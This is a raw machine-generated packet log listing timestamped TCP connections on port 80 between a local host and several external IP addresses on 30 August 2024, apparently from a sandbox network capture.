Aug 30, 2024 03:17:06.723608017 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.723622084 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.723633051 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.723659992 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.723699093 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.723710060 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.723745108 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.724024057 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.724061966 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.724070072 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.724091053 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.724102974 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.724109888 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.724119902 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.724140882 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.724292040 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.724302053 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.724313021 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.724330902 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.724347115 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.724410057 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.724421978 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.724431992 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.724442959 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.724451065 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.724478960 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.724553108 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.724564075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.724574089 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.724586010 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.724596977 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.724600077 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.724611998 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.724632978 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.724662066 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.724673986 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.724699020 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.724709034 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.725277901 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.725292921 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.725303888 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.725337029 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.725359917 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.725373030 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.725383997 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.725395918 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.725406885 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.725429058 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.725454092 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.725539923 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.725552082 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.725562096 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.725574017 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.725584984 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.725584984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.725598097 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.725604057 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.725610018 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.725630999 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.725641966 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.726243019 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.726254940 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.726269960 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.726296902 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.726313114 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.726321936 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.726325035 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.726336956 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.726349115 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.726351976 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.726376057 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.726402998 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.726406097 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.726485968 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.726497889 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.726506948 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.726519108 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.726530075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.726532936 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.726542950 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.726557016 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.726567984 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.726594925 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.726624012 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.726643085 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.726653099 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.726682901 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.726712942 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.726718903 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.726730108 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.726739883 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.726752996 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.726761103 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.726783037 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.726890087 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.726901054 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.726911068 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.726922989 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.726924896 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.726952076 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.726972103 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.728104115 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.728143930 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.728159904 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.728171110 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.728197098 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.728208065 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.728219032 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.728229046 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.728249073 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.728262901 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.728414059 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.728456974 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.728461027 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.728471994 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.728490114 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.728507996 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.728521109 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.743058920 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.743077040 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.743086100 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.743118048 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.743159056 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.776926041 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.776988029 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.776998043 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.776998997 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.777023077 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.777039051 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.777173996 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.777174950 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.777174950 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.777432919 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.777453899 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.777472019 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.777473927 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.777499914 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.777509928 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.777509928 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.777543068 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.777566910 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.778270006 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.778280973 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.778291941 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.778301954 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.778314114 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.778347015 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.788161039 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788224936 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788240910 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788259029 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788271904 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788275957 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788281918 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788331032 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788341999 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788358927 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788367987 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788404942 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788450003 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788450003 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788450003 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788450003 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788450003 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788451910 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788463116 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788486004 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788492918 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788520098 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788530111 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788541079 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788551092 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788561106 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788563013 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788583994 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788609982 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788630009 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788645029 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788665056 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788669109 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788675070 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788682938 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788695097 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788712978 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788763046 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788774967 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788785934 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.788796902 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.788810015 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.788811922 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788825989 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788850069 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.788850069 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.788877010 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788896084 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788907051 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788918018 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788928032 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.788939953 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788965940 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.788992882 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.789004087 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.789014101 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.789032936 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.789061069 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.789084911 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.789097071 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.789109945 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789130926 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789134979 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.789144039 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789151907 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.789155960 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789165974 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789174080 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.789177895 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789191008 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.789216042 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.789328098 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789340019 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789350033 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789361954 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789369106 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.789372921 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789385080 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.789416075 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.789443016 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789453983 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789484024 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.789501905 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.789545059 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789556026 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789566994 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789578915 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789583921 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.789589882 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789602041 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789603949 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.789628029 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.789644003 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.789675951 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.789689064 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.789699078 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.789731026 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.789751053 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.789808989 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.789820910 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.789829969 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789839983 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789851904 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789859056 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.789861917 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789874077 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789876938 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.789885044 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.789900064 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.789901972 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.789911985 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.789916992 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.789923906 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.789932966 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.789935112 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.789959908 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.789982080 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.790153027 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790163994 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790174007 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790184975 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790195942 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790199041 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.790208101 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790215015 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.790235043 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790241957 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.790246964 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790256977 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790267944 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790278912 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790281057 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.790290117 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790302038 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.790304899 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790312052 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.790318012 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790328979 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.790338993 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.790338993 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.790348053 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.790360928 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.790366888 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.790371895 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.790371895 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.790384054 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.790386915 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.790401936 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.790425062 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.790570974 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.790613890 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.790697098 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.790709019 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.790718079 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.790730000 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.790740013 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.790744066 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.790752888 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790766954 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.790780067 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790790081 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.790791988 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790795088 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.790802956 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790816069 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790827036 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790838003 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790848017 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790858984 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790869951 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.790875912 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.790875912 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.790875912 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.790880919 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.790891886 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.790893078 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.790906906 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.790925026 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.790925980 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.790956020 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.791233063 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.791244030 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.791254997 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.791265965 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.791276932 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.791285038 CEST	49736	80	192.168.2.4	154.216.17.134
